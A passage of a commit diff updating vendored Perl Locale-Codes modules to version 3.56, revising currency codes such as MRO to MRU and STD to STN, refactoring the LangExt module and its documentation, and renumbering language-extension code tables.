@@ -1639,7 +1635,7 @@
          q(0095),
          q(0),
          ],
-      q(MRO) => [
+      q(MRU) => [
          q(0101),
          q(0),
          ],
@@ -1791,7 +1787,7 @@
          q(0138),
          q(0),
          ],
-      q(STD) => [
+      q(STN) => [
          q(0129),
          q(0),
          ],
@@ -2253,10 +2249,6 @@
          q(0100),
          q(0),
          ],
-      q(478) => [
-         q(0101),
-         q(0),
-         ],
       q(480) => [
          q(0102),
          q(0),
@@ -2357,10 +2349,6 @@
          q(0127),
          q(0),
          ],
-      q(678) => [
-         q(0129),
-         q(0),
-         ],
       q(682) => [
          q(0130),
          q(0),
@@ -2473,6 +2461,14 @@
          q(0147),
          q(0),
          ],
+      q(929) => [
+         q(0101),
+         q(0),
+         ],
+      q(930) => [
+         q(0129),
+         q(0),
+         ],
       q(931) => [
          q(0048),
          q(0),
@@ -2617,10 +2613,6 @@
          q(0006),
          q(0),
          ],
-      q(974) => [
-         q(0017),
-         q(0),
-         ],
       q(975) => [
          q(0030),
          q(0),
@@ -2694,7 +2686,7 @@
       q(0014) => q(BHD),
       q(0015) => q(BDT),
       q(0016) => q(BBD),
-      q(0017) => q(BYR),
+      q(0017) => q(BYN),
       q(0018) => q(BZD),
       q(0019) => q(XOF),
       q(0020) => q(BMD),
@@ -2778,7 +2770,7 @@
       q(0098) => q(MWK),
       q(0099) => q(MYR),
       q(0100) => q(MVR),
-      q(0101) => q(MRO),
+      q(0101) => q(MRU),
       q(0102) => q(MUR),
       q(0103) => q(XUA),
       q(0104) => q(MXN),
@@ -2806,7 +2798,7 @@
       q(0126) => q(RWF),
       q(0127) => q(SHP),
       q(0128) => q(WST),
-      q(0129) => q(STD),
+      q(0129) => q(STN),
       q(0130) => q(SAR),
       q(0131) => q(RSD),
       q(0132) => q(SCR),
@@ -2872,7 +2864,7 @@
       q(0014) => q(048),
       q(0015) => q(050),
       q(0016) => q(052),
-      q(0017) => q(974),
+      q(0017) => q(933),
       q(0018) => q(084),
       q(0019) => q(952),
       q(0020) => q(060),
@@ -2956,7 +2948,7 @@
       q(0098) => q(454),
       q(0099) => q(458),
       q(0100) => q(462),
-      q(0101) => q(478),
+      q(0101) => q(929),
       q(0102) => q(480),
       q(0103) => q(965),
       q(0104) => q(484),
@@ -2984,7 +2976,7 @@
       q(0126) => q(646),
       q(0127) => q(654),
       q(0128) => q(882),
-      q(0129) => q(678),
+      q(0129) => q(930),
       q(0130) => q(682),
       q(0131) => q(941),
       q(0132) => q(690),

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Currency_Retired.pm
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Currency_Retired.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/Currency_Retired.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 
 # This file was automatically generated.  Any changes to this file will
 # be lost the next time 'deprecate_codes' is run.
-#    Generated on: Fri Nov 18 09:22:54 EST 2016
+#    Generated on: Fri Feb 23 12:58:17 EST 2018
 
 use strict;
 require 5.006;
@@ -11,7 +11,7 @@
 use utf8;
 
 our($VERSION);
-$VERSION='3.42';
+$VERSION='3.56';
 
 $Locale::Codes::Retired{'currency'}{'alpha'}{'code'} = {
    q(ADP) => q(Andorran Peseta),
@@ -40,6 +40,7 @@
    q(LUF) => q(Luxembourg Franc),
    q(LVL) => q(Latvian Lats),
    q(MGF) => q(Malagasy Franc),
+   q(MRO) => q(Ouguiya),
    q(MTL) => q(Maltese Lira),
    q(MZM) => q(Metical),
    q(NLG) => q(Netherlands Guilder),
@@ -51,6 +52,7 @@
    q(SIT) => q(Tolar),
    q(SKK) => q(Slovak Koruna),
    q(SRG) => q(Surinam Guilder),
+   q(STD) => q(Dobra),
    q(TJR) => q(Tajik Ruble),
    q(TMM) => q(Manat),
    q(TPE) => q(Timor Escudo),
@@ -71,7 +73,9 @@
 $Locale::Codes::Retired{'currency'}{'num'}{'code'} = {
    q(428) => q(Latvian Lats),
    q(440) => q(Lithuanian Litas),
+   q(478) => q(Ouguiya),
    q(654) => q(Saint Helena Pound),
+   q(678) => q(Dobra),
    q(998) => q(US Dollar (Same day)),
 };
 
@@ -78,6 +82,7 @@
 $Locale::Codes::Retired{'currency'}{'alpha'}{'name'} = {
    q(andorran peseta) => [ q(ADP), q(Andorran Peseta) ],
    q(aruban guilder) => [ q(AWG), q(Aruban Guilder) ],
+   q(azerbaijanian manat) => [ q(AZN), q(Azerbaijanian Manat) ],
    q(belarussian ruble) => [ q(BYR), q(Belarussian Ruble) ],
    q(belgian franc) => [ q(BEF), q(Belgian Franc) ],
    q(bermudian dollar (customarily known as bermuda dollar)) => [ q(BMD), q(Bermudian Dollar (customarily known as Bermuda Dollar)) ],
@@ -87,6 +92,7 @@
    q(candian dollar) => [ q(CAD), q(Candian Dollar) ],
    q(cape verde escudo) => [ q(CVE), q(Cape Verde Escudo) ],
    q(cedi) => [ q(GHS), q(Cedi) ],
+   q(comoro franc) => [ q(KMF), q(Comoro Franc) ],
    q(convertible marks) => [ q(BAM), q(Convertible Marks) ],
    q(croatian kuna) => [ q(HRK), q(Croatian Kuna) ],
    q(cyprus pound) => [ q(CYP), q(Cyprus Pound) ],
@@ -105,10 +111,12 @@
    q(french franc) => [ q(FRF), q(French Franc) ],
    q(german mark) => [ q(DEM), q(German Mark) ],
    q(gold-franc) => [ q(XFO), q(Gold-Franc) ],
+   q(guinea franc) => [ q(GNF), q(Guinea Franc) ],
    q(guinea-bissau peso) => [ q(GWP), q(Guinea-Bissau Peso) ],
    q(irish pound) => [ q(IEP), q(Irish Pound) ],
    q(italian lira) => [ q(ITL), q(Italian Lira) ],
    q(karbovanets) => [ q(UAK), q(Karbovanets) ],
+   q(kip) => [ q(LAK), q(Kip) ],
    q(kroon) => [ q(EEK), q(Kroon) ],
    q(kuna) => [ q(HRK), q(Kuna) ],
    q(kwacha) => [ q(MWK), q(Kwacha) ],
@@ -133,6 +141,7 @@
    q(new romanian leu) => [ q(RON), q(New Romanian Leu) ],
    q(new zaire) => [ q(ZRN), q(New Zaire) ],
    q(nuevo sol) => [ q(PEN), q(Nuevo Sol) ],
+   q(philippine peso) => [ q(PHP), q(Philippine Peso) ],
    q(portuguese escudo) => [ q(PTE), q(Portuguese Escudo) ],
    q(saint helena pound) => [ q(SHP), q(Saint Helena Pound) ],
    q(schilling) => [ q(ATS), q(Schilling) ],
@@ -156,11 +165,15 @@
 };
 
 $Locale::Codes::Retired{'currency'}{'num'}{'name'} = {
+   q(azerbaijanian manat) => [ q(944), q(Azerbaijanian Manat) ],
    q(belarussian ruble) => [ q(974), q(Belarussian Ruble) ],
    q(bolivar fuerte) => [ q(937), q(Bolivar Fuerte) ],
    q(cape verde escudo) => [ q(132), q(Cape Verde Escudo) ],
    q(cedi) => [ q(936), q(Cedi) ],
+   q(comoro franc) => [ q(174), q(Comoro Franc) ],
    q(croatian kuna) => [ q(191), q(Croatian Kuna) ],
+   q(guinea franc) => [ q(324), q(Guinea Franc) ],
+   q(kip) => [ q(418), q(Kip) ],
    q(kwacha) => [ q(454), q(Kwacha) ],
    q(latvian lats) => [ q(428), q(Latvian Lats) ],
    q(leu) => [ q(946), q(Leu) ],
@@ -169,6 +182,7 @@
    q(new manat) => [ q(934), q(New Manat) ],
    q(new romanian leu) => [ q(946), q(New Romanian Leu) ],
    q(nuevo sol) => [ q(604), q(Nuevo Sol) ],
+   q(philippine peso) => [ q(608), q(Philippine Peso) ],
    q(saint helena pound) => [ q(654), q(Saint Helena Pound) ],
    q(unidades de fomento) => [ q(990), q(Unidades de fomento) ],
    q(us dollar (same day)) => [ q(998), q(US Dollar (Same day)) ],

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangExt.pm
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangExt.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangExt.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,95 +1,94 @@
 package Locale::Codes::LangExt;
-# Copyright (c) 2011-2016 Sullivan Beck
+# Copyright (C) 2001      Canon Research Centre Europe (CRE).
+# Copyright (C) 2002-2009 Neil Bowers
+# Copyright (c) 2010-2018 Sullivan Beck
 # This program is free software; you can redistribute it and/or modify it
 # under the same terms as Perl itself.
 
+# This file was automatically generated.  Any changes to this file will
+# be lost the next time 'gen_mods' is run.
+#    Generated on: Fri Feb 23 12:55:25 EST 2018
+
 use strict;
+use warnings;
 require 5.006;
-use warnings;
+use Exporter qw(import);
 
-require Exporter;
-use Carp;
+our($VERSION, at EXPORT);
+$VERSION   = '3.56';
+
+################################################################################
+use if $] >= 5.027007, 'deprecate';
 use Locale::Codes;
 use Locale::Codes::Constants;
-use Locale::Codes::LangExt_Codes;
-use Locale::Codes::LangExt_Retired;
 
-#=======================================================================
-#       Public Global Variables
-#=======================================================================
-
-our($VERSION, at ISA, at EXPORT, at EXPORT_OK);
-
-$VERSION='3.42';
- at ISA       = qw(Exporter);
- at EXPORT    = qw(code2langext
+ at EXPORT    = qw(
+                code2langext
                 langext2code
                 all_langext_codes
                 all_langext_names
                 langext_code2code
-                LOCALE_LANGEXT_ALPHA
                );
+push(@EXPORT, at Locale::Codes::Constants::CONSTANTS_LANGEXT);
 
+our $obj = new Locale::Codes('langext');
+$obj->show_errors(0);
+
+sub show_errors {
+   my($val) = @_;
+   $obj->show_errors($val);
+}
+
 sub code2langext {
-   return Locale::Codes::_code2name('langext', at _);
+   return $obj->code2name(@_);
 }
 
 sub langext2code {
-   return Locale::Codes::_name2code('langext', at _);
+   return $obj->name2code(@_);
 }
 
 sub langext_code2code {
-   return Locale::Codes::_code2code('langext', at _);
+   return $obj->code2code(@_);
 }
 
 sub all_langext_codes {
-   return Locale::Codes::_all_codes('langext', at _);
+   return $obj->all_codes(@_);
 }
 
 sub all_langext_names {
-   return Locale::Codes::_all_names('langext', at _);
+   return $obj->all_names(@_);
 }
 
 sub rename_langext {
-   return Locale::Codes::_rename('langext', at _);
+   return $obj->rename_code(@_);
 }
 
 sub add_langext {
-   return Locale::Codes::_add_code('langext', at _);
+   return $obj->add_code(@_);
 }
 
 sub delete_langext {
-   return Locale::Codes::_delete_code('langext', at _);
+   return $obj->delete_code(@_);
 }
 
 sub add_langext_alias {
-   return Locale::Codes::_add_alias('langext', at _);
+   return $obj->add_alias(@_);
 }
 
 sub delete_langext_alias {
-   return Locale::Codes::_delete_alias('langext', at _);
+   return $obj->delete_alias(@_);
 }
 
 sub rename_langext_code {
-   return Locale::Codes::_rename_code('langext', at _);
+   return $obj->replace_code(@_);
 }
 
 sub add_langext_code_alias {
-   return Locale::Codes::_add_code_alias('langext', at _);
+   return $obj->add_code_alias(@_);
 }
 
 sub delete_langext_code_alias {
-   return Locale::Codes::_delete_code_alias('langext', at _);
+   return $obj->delete_code_alias(@_);
 }
 
 1;
-# Local Variables:
-# mode: cperl
-# indent-tabs-mode: nil
-# cperl-indent-level: 3
-# cperl-continued-statement-offset: 2
-# cperl-continued-brace-offset: 0
-# cperl-brace-offset: 0
-# cperl-brace-imaginary-offset: 0
-# cperl-label-offset: 0
-# End:

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangExt.pod
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangExt.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangExt.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,14 +2,14 @@
 
 =head1 NAME
 
-Locale::Codes::LangExt - standard codes for language extension identification
+Locale::Codes::LangExt - module for dealing with langext code sets
 
 =head1 SYNOPSIS
 
    use Locale::Codes::LangExt;
 
-   $lext = code2langext('acm');                 # $lext gets 'Mesopotamian Arabic'
-   $code = langext2code('Mesopotamian Arabic'); # $code gets 'acm'
+   $name = code2langext(CODE);
+   $code = langext2code(NAME);
 
    @codes   = all_langext_codes();
    @names   = all_langext_names();
@@ -16,70 +16,94 @@
 
 =head1 DESCRIPTION
 
-This module provides access to standard codes
-used for identifying language extensions, such as those as defined in
-the IANA language registry.
+This module provides access to langext code sets.
 
+Please refer to the L<Locale::Codes::Types> document for a description
+of the code sets available.
+
 Most of the routines take an optional additional argument which
-specifies the code set to use. If not specified, the default IANA
-language registry codes will be used.
+specifies the code set to use. The code set can be specified using the
+name of a code set, or the perl constant specified in the above
+document.  If not specified, the default code set will be used.
 
-=head1 SUPPORTED CODE SETS
+=head1 ROUTINES
 
-There are several different code sets you can use for identifying
-language extensions. A code set may be specified using either a name, or a
-constant that is automatically exported by this module.
+All routines in this module call the appropriate method in the
+L<Locale::Codes> module, using an object of type: langext
+Please refer to the documentation of the L<Locale::Codes> module
+for details about each function.
 
-For example, the two are equivalent:
+The following functions are exported automatically:
 
-   $lext = code2langext('acm','alpha');
-   $lext = code2langext('acm',LOCALE_LANGEXT_ALPHA);
+=over 4
 
-The codesets currently supported are:
+=item B<code2langext(CODE [,CODESET] [,'retired'])>
 
-=over 4
+See B<code2name> in L<Locale::Codes>
 
-=item B<alpha>
+=item B<langext2code(NAME [,CODESET] [,'retired'])>
 
-This is the set of three-letter (lowercase) codes from the IANA
-language registry, such as 'acm' for Mesopotamian Arabic. 
+See B<name2code> in L<Locale::Codes>
 
-This is the default code set.
+=item B<langext_code2code(CODE ,CODESET ,CODESET2)>
 
+See B<code2code> in L<Locale::Codes>
+
+=item B<all_langext_codes([CODESET] [,'retired'])>
+
+See B<all_codes> in L<Locale::Codes>
+
+=item B<all_langext_names([CODESET] [,'retired'])>
+
+See B<all_names> in L<Locale::Codes>
+
 =back
 
-=head1 ROUTINES
+The following functions are not exported and must be called fully
+qualified with the package name:
 
 =over 4
 
-=item B<code2langext(CODE [,CODESET] [,'retired'])>
+=item B<Locale::Codes::Langext::show_errors(FLAG)>
 
-=item B<langext2code(NAME [,CODESET] [,'retired'])>
+By default, invalid input will produce empty results, but no errors.  By
+passing in a non-zero value of FLAG, errors will be produced.
 
-=item B<langext_code2code(CODE ,CODESET ,CODESET2)>
+See B<show_errors> in L<Locale::Codes> but note that the default for
+the non-OO modules are to NOT produce errors.
 
-=item B<all_langext_codes([CODESET] [,'retired'])>
+=item B<Locale::Codes::Langext::rename_langext(CODE ,NEW_NAME [,CODESET])>
 
-=item B<all_langext_names([CODESET] [,'retired'])>
+See B<rename_code> in L<Locale::Codes>
 
-=item B<Locale::Codes::LangExt::rename_langext(CODE ,NEW_NAME [,CODESET])>
+=item B<Locale::Codes::Langext::add_langext(CODE ,NAME [,CODESET])>
 
-=item B<Locale::Codes::LangExt::add_langext(CODE ,NAME [,CODESET])>
+See B<add_code> in L<Locale::Codes>
 
-=item B<Locale::Codes::LangExt::delete_langext(CODE [,CODESET])>
+=item B<Locale::Codes::Langext::delete_langext(CODE [,CODESET])>
 
-=item B<Locale::Codes::LangExt::add_langext_alias(NAME ,NEW_NAME)>
+See B<delete_code> in L<Locale::Codes>
 
-=item B<Locale::Codes::LangExt::delete_langext_alias(NAME)>
+=item B<Locale::Codes::Langext::add_langext_alias(NAME ,NEW_NAME)>
 
-=item B<Locale::Codes::LangExt::rename_langext_code(CODE ,NEW_CODE [,CODESET])>
+See B<add_alias> in L<Locale::Codes>
 
-=item B<Locale::Codes::LangExt::add_langext_code_alias(CODE ,NEW_CODE [,CODESET])>
+=item B<Locale::Codes::Langext::delete_langext_alias(NAME)>
 
-=item B<Locale::Codes::LangExt::delete_langext_code_alias(CODE [,CODESET])>
+See B<delete_alias> in L<Locale::Codes>
 
-These routines are all documented in the L<Locale::Codes::API> man page.
+=item B<Locale::Codes::Langext::rename_langext_code(CODE ,NEW_CODE [,CODESET])>
 
+See B<replace_code> in L<Locale::Codes>
+
+=item B<Locale::Codes::Langext::add_langext_code_alias(CODE ,NEW_CODE [,CODESET])>
+
+See B<add_code_alias> in L<Locale::Codes>
+
+=item B<Locale::Codes::Langext::delete_langext_code_alias(CODE [,CODESET])>
+
+See B<delete_code_alias> in L<Locale::Codes>
+
 =back
 
 =head1 SEE ALSO
@@ -90,14 +114,6 @@
 
 The Locale-Codes distribution.
 
-=item L<Locale::Codes::API>
-
-The list of functions supported by this module.
-
-=item L<http://www.iana.org/assignments/language-subtag-registry>
-
-The IANA language subtag registry.
-
 =back
 
 =head1 AUTHOR
@@ -108,7 +124,7 @@
 
 =head1 COPYRIGHT
 
-   Copyright (c) 2011-2016 Sullivan Beck
+   Copyright (c) 2011-2018 Sullivan Beck
 
 This module is free software; you can redistribute it and/or
 modify it under the same terms as Perl itself.

Modified: vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangExt_Codes.pm
===================================================================
--- vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangExt_Codes.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/Locale-Codes/lib/Locale/Codes/LangExt_Codes.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 
 # This file was automatically generated.  Any changes to this file will
 # be lost the next time 'harvest_data' is run.
-#    Generated on: Fri Nov 18 09:18:36 EST 2016
+#    Generated on: Fri Feb 23 12:55:11 EST 2018
 
 use strict;
 require 5.006;
@@ -11,9 +11,9 @@
 use utf8;
 
 our($VERSION);
-$VERSION='3.42';
+$VERSION='3.56';
 
-$Locale::Codes::Data{'langext'}{'id'} = '0232';
+$Locale::Codes::Data{'langext'}{'id'} = '0233';
 
 $Locale::Codes::Data{'langext'}{'id2names'} = {
    q(0001) => [
@@ -554,70 +554,70 @@
       q(Romanian Sign Language),
       ],
    q(0177) => [
-      q(Rennellese Sign Language),
+      q(Russian Sign Language),
       ],
    q(0178) => [
-      q(Russian Sign Language),
+      q(Miriwoong Sign Language),
       ],
    q(0179) => [
-      q(Miriwoong Sign Language),
+      q(Saudi Arabian Sign Language),
       ],
    q(0180) => [
-      q(Saudi Arabian Sign Language),
-      ],
-   q(0181) => [
       q(Langue des signes de Belgique Francophone),
       q(French Belgian Sign Language),
       ],
-   q(0182) => [
+   q(0181) => [
       q(South African Sign Language),
       ],
-   q(0183) => [
+   q(0182) => [
       q(Swiss-German Sign Language),
       ],
-   q(0184) => [
+   q(0183) => [
       q(Sierra Leone Sign Language),
       ],
-   q(0185) => [
+   q(0184) => [
       q(Chadian Arabic),
       ],
-   q(0186) => [
+   q(0185) => [
       q(Swiss-Italian Sign Language),
       ],
-   q(0187) => [
+   q(0186) => [
       q(Singapore Sign Language),
       ],
-   q(0188) => [
+   q(0187) => [
       q(Albanian Sign Language),
       ],
-   q(0189) => [
+   q(0188) => [
       q(Sri Lankan Sign Language),
       ],
-   q(0190) => [
+   q(0189) => [
       q(Shihhi Arabic),
       ],
-   q(0191) => [
+   q(0190) => [
       q(Spanish Sign Language),
       ],
-   q(0192) => [
+   q(0191) => [
       q(Swiss-French Sign Language),
       ],
-   q(0193) => [
+   q(0192) => [
       q(Slovakian Sign Language),
       ],
-   q(0194) => [
+   q(0193) => [
       q(Congo Swahili),
       ],
-   q(0195) => [
+   q(0194) => [
       q(Swahili (individual language)),
       q(Kiswahili),
       ],
-   q(0196) => [
+   q(0195) => [
       q(Swedish Sign Language),
       ],
-   q(0197) => [
+   q(0196) => [
       q(Al-Sayyid Bedouin Sign Language),
       ],
+   q(0197) => [
+      q(Solomon Islands Sign Language),
+      ],
    q(0198) => [
       q(Temuan),
       ],
@@ -683,46 +683,49 @@
       q(Llengua de signes valenciana),
       ],
    q(0218) => [
+      q(West Bengal Sign Language),
+      ],
+   q(0219) => [
       q(Wu Chinese),
       ],
-   q(0219) => [
+   q(0220) => [
       q(Kenyan Sign Language),
       ],
-   q(0220) => [
+   q(0221) => [
       q(Malaysian Sign Language),
       ],
-   q(0221) => [
+   q(0222) => [
       q(Manado Malay),
       ],
-   q(0222) => [
+   q(0223) => [
       q(Moroccan Sign Language),
       ],
-   q(0223) => [
+   q(0224) => [
       q(Yolnu Sign Language),
       ],
-   q(0224) => [
+   q(0225) => [
       q(Yan-nhanu Sign Language),
       ],
-   q(0225) => [
+   q(0226) => [
       q(Yugoslavian Sign Language),
       ],
-   q(0226) => [
+   q(0227) => [
       q(Yue Chinese),
       q(Cantonese),
       ],
-   q(0227) => [
+   q(0228) => [
       q(Zimbabwe Sign Language),
       ],
-   q(0228) => [
+   q(0229) => [
       q(Malay (individual language)),
       ],
-   q(0229) => [
+   q(0230) => [
       q(Negeri Sembilan Malay),
       ],
-   q(0230) => [
+   q(0231) => [
       q(Zambian Sign Language),
       ],
-   q(0231) => [
+   q(0232) => [
       q(Standard Malay),
       ],
 };
@@ -737,11 +740,11 @@
       q(0),
       ],
    q(al-sayyid bedouin sign language) => [
-      q(0197),
+      q(0196),
       q(0),
       ],
    q(albanian sign language) => [
-      q(0188),
+      q(0187),
       q(0),
       ],
    q(algerian arabic) => [
@@ -841,7 +844,7 @@
       q(0),
       ],
    q(cantonese) => [
-      q(0226),
+      q(0227),
       q(1),
       ],
    q(catalan sign language) => [
@@ -853,7 +856,7 @@
       q(0),
       ],
    q(chadian arabic) => [
-      q(0185),
+      q(0184),
       q(0),
       ],
    q(chadian sign language) => [
@@ -885,7 +888,7 @@
       q(0),
       ],
    q(congo swahili) => [
-      q(0194),
+      q(0193),
       q(0),
       ],
    q(costa rican sign language) => [
@@ -969,7 +972,7 @@
       q(1),
       ],
    q(french belgian sign language) => [
-      q(0181),
+      q(0180),
       q(1),
       ],
    q(french sign language) => [
@@ -1153,7 +1156,7 @@
       q(0),
       ],
    q(kenyan sign language) => [
-      q(0219),
+      q(0220),
       q(0),
       ],
    q(kerinci) => [
@@ -1161,7 +1164,7 @@
       q(0),
       ],
    q(kiswahili) => [
-      q(0195),
+      q(0194),
       q(1),
       ],
    q(konkani (individual language)) => [
@@ -1181,7 +1184,7 @@
       q(0),
       ],
    q(langue des signes de belgique francophone) => [
-      q(0181),
+      q(0180),
       q(0),
       ],
    q(laos sign language) => [
@@ -1249,11 +1252,11 @@
       q(0),
       ],
    q(malay (individual language)) => [
-      q(0228),
+      q(0229),
       q(0),
       ],
    q(malaysian sign language) => [
-      q(0220),
+      q(0221),
       q(0),
       ],
    q(maltese sign language) => [
@@ -1261,7 +1264,7 @@
       q(0),
       ],
    q(manado malay) => [
-      q(0221),
+      q(0222),
       q(0),
       ],
    q(mandarin chinese) => [
@@ -1309,7 +1312,7 @@
       q(0),
       ],
    q(miriwoong sign language) => [
-      q(0179),
+      q(0178),
       q(0),
       ],
    q(moldova sign language) => [
@@ -1329,7 +1332,7 @@
       q(0),
       ],
    q(moroccan sign language) => [
-      q(0222),
+      q(0223),
       q(0),
       ],
    q(mozambican sign language) => [
@@ -1349,7 +1352,7 @@
       q(0),
       ],
    q(negeri sembilan malay) => [
-      q(0229),
+      q(0230),
       q(0),
       ],
    q(nepalese sign language) => [
@@ -1472,16 +1475,12 @@
       q(0074),
       q(0),
       ],
-   q(rennellese sign language) => [
-      q(0177),
-      q(0),
-      ],
    q(romanian sign language) => [
       q(0176),
       q(0),
       ],
    q(russian sign language) => [
-      q(0178),
+      q(0177),
       q(0),
       ],
    q(sabah malay) => [
@@ -1501,7 +1500,7 @@
       q(0),
       ],
    q(saudi arabian sign language) => [
-      q(0180),
+      q(0179),
       q(0),
       ],
    q(sekak) => [
@@ -1513,23 +1512,27 @@
       q(0),
       ],
    q(shihhi arabic) => [
-      q(0190),
+      q(0189),
       q(0),
       ],
    q(sierra leone sign language) => [
-      q(0184),
+      q(0183),
       q(0),
       ],
    q(singapore sign language) => [
-      q(0187),
+      q(0186),
       q(0),
       ],
    q(slovakian sign language) => [
-      q(0193),
+      q(0192),
       q(0),
       ],
+   q(solomon islands sign language) => [
+      q(0197),
+      q(0),
+      ],
    q(south african sign language) => [
-      q(0182),
+      q(0181),
       q(0),
       ],
    q(south levantine arabic) => [
@@ -1541,11 +1544,11 @@
       q(0),
       ],
    q(spanish sign language) => [
-      q(0191),
+      q(0190),
       q(0),
       ],
    q(sri lankan sign language) => [
-      q(0189),
+      q(0188),
       q(0),
       ],
    q(standard arabic) => [
@@ -1557,7 +1560,7 @@
       q(0),
       ],
    q(standard malay) => [
-      q(0231),
+      q(0232),
       q(0),
       ],
    q(sudanese arabic) => [
@@ -1573,23 +1576,23 @@
       q(2),
       ],
    q(swahili (individual language)) => [
-      q(0195),
+      q(0194),
       q(0),
       ],
    q(swedish sign language) => [
-      q(0196),
+      q(0195),
       q(0),
       ],
    q(swiss-french sign language) => [
-      q(0192),
+      q(0191),
       q(0),
       ],
    q(swiss-german sign language) => [
-      q(0183),
+      q(0182),
       q(0),
       ],
    q(swiss-italian sign language) => [
-      q(0186),
+      q(0185),
       q(0),
       ],
    q(ta'izzi-adeni arabic) => [
@@ -1680,20 +1683,24 @@
       q(0212),
       q(0),
       ],
-   q(wu chinese) => [
+   q(west bengal sign language) => [
       q(0218),
       q(0),
       ],
+   q(wu chinese) => [
+      q(0219),
+      q(0),
+      ],
    q(xiang chinese) => [
       q(0096),
       q(0),
       ],
    q(yan-nhanu sign language) => [
-      q(0224),
+      q(0225),
       q(0),
       ],
    q(yolnu sign language) => [
-      q(0223),
+      q(0224),
       q(0),
       ],
    q(yucatec maya sign language) => [
@@ -1701,19 +1708,19 @@
       q(0),
       ],
    q(yue chinese) => [
-      q(0226),
+      q(0227),
       q(0),
       ],
    q(yugoslavian sign language) => [
-      q(0225),
+      q(0226),
       q(0),
       ],
    q(zambian sign language) => [
-      q(0230),
+      q(0231),
       q(0),
       ],
    q(zimbabwe sign language) => [
-      q(0227),
+      q(0228),
       q(0),
       ],
 };
@@ -2424,87 +2431,87 @@
          q(0176),
          q(0),
          ],
-      q(rsi) => [
+      q(rsl) => [
          q(0177),
          q(0),
          ],
-      q(rsl) => [
+      q(rsm) => [
          q(0178),
          q(0),
          ],
-      q(rsm) => [
+      q(sdl) => [
          q(0179),
          q(0),
          ],
-      q(sdl) => [
+      q(sfb) => [
          q(0180),
          q(0),
          ],
-      q(sfb) => [
+      q(sfs) => [
          q(0181),
          q(0),
          ],
-      q(sfs) => [
+      q(sgg) => [
          q(0182),
          q(0),
          ],
-      q(sgg) => [
+      q(sgx) => [
          q(0183),
          q(0),
          ],
-      q(sgx) => [
+      q(shu) => [
          q(0184),
          q(0),
          ],
-      q(shu) => [
+      q(slf) => [
          q(0185),
          q(0),
          ],
-      q(slf) => [
+      q(sls) => [
          q(0186),
          q(0),
          ],
-      q(sls) => [
+      q(sqk) => [
          q(0187),
          q(0),
          ],
-      q(sqk) => [
+      q(sqs) => [
          q(0188),
          q(0),
          ],
-      q(sqs) => [
+      q(ssh) => [
          q(0189),
          q(0),
          ],
-      q(ssh) => [
+      q(ssp) => [
          q(0190),
          q(0),
          ],
-      q(ssp) => [
+      q(ssr) => [
          q(0191),
          q(0),
          ],
-      q(ssr) => [
+      q(svk) => [
          q(0192),
          q(0),
          ],
-      q(svk) => [
+      q(swc) => [
          q(0193),
          q(0),
          ],
-      q(swc) => [
+      q(swh) => [
          q(0194),
          q(0),
          ],
-      q(swh) => [
+      q(swl) => [
          q(0195),
          q(0),
          ],
-      q(swl) => [
+      q(syy) => [
          q(0196),
          q(0),
          ],
-      q(syy) => [
+      q(szs) => [
          q(0197),
          q(0),
          ],
@@ -2588,62 +2595,66 @@
          q(0217),
          q(0),
          ],
-      q(wuu) => [
+      q(wbs) => [
          q(0218),
          q(0),
          ],
-      q(xki) => [
+      q(wuu) => [
          q(0219),
          q(0),
          ],
-      q(xml) => [
+      q(xki) => [
          q(0220),
          q(0),
          ],
-      q(xmm) => [
+      q(xml) => [
          q(0221),
          q(0),
          ],
-      q(xms) => [
+      q(xmm) => [
          q(0222),
          q(0),
          ],
-      q(ygs) => [
+      q(xms) => [
          q(0223),
          q(0),
          ],
-      q(yhs) => [
+      q(ygs) => [
          q(0224),
          q(0),
          ],
-      q(ysl) => [
+      q(yhs) => [
          q(0225),
          q(0),
          ],
-      q(yue) => [
+      q(ysl) => [
          q(0226),
          q(0),
          ],
-      q(zib) => [
+      q(yue) => [
          q(0227),
          q(0),
          ],
-      q(zlm) => [
+      q(zib) => [
          q(0228),
          q(0),
          ],
-      q(zmi) => [
+      q(zlm) => [
          q(0229),
          q(0),
          ],
-      q(zsl) => [
+      q(zmi) => [
          q(0230),
          q(0),
          ],
-      q(zsm) => [
+      q(zsl) => [
          q(0231),
          q(0),
          ],
+      q(zsm) => [
+         q(0232),
+         q(0),
+         ],
       },
 };
 
@@ -2825,27 +2836,27 @@
       q(0174) => q(psr),
       q(0175) => q(pys),
       q(0176) => q(rms),
-      q(0177) => q(rsi),
-      q(0178) => q(rsl),
-      q(0179) => q(rsm),
-      q(0180) => q(sdl),
-      q(0181) => q(sfb),
-      q(0182) => q(sfs),
-      q(0183) => q(sgg),
-      q(0184) => q(sgx),
-      q(0185) => q(shu),
-      q(0186) => q(slf),
-      q(0187) => q(sls),
-      q(0188) => q(sqk),
-      q(0189) => q(sqs),
-      q(0190) => q(ssh),
-      q(0191) => q(ssp),
-      q(0192) => q(ssr),
-      q(0193) => q(svk),
-      q(0194) => q(swc),
-      q(0195) => q(swh),
-      q(0196) => q(swl),
-      q(0197) => q(syy),
+      q(0177) => q(rsl),
+      q(0178) => q(rsm),
+      q(0179) => q(sdl),
+      q(0180) => q(sfb),
+      q(0181) => q(sfs),
+      q(0182) => q(sgg),
+      q(0183) => q(sgx),
+      q(0184) => q(shu),
+      q(0185) => q(slf),
+      q(0186) => q(sls),
+      q(0187) => q(sqk),
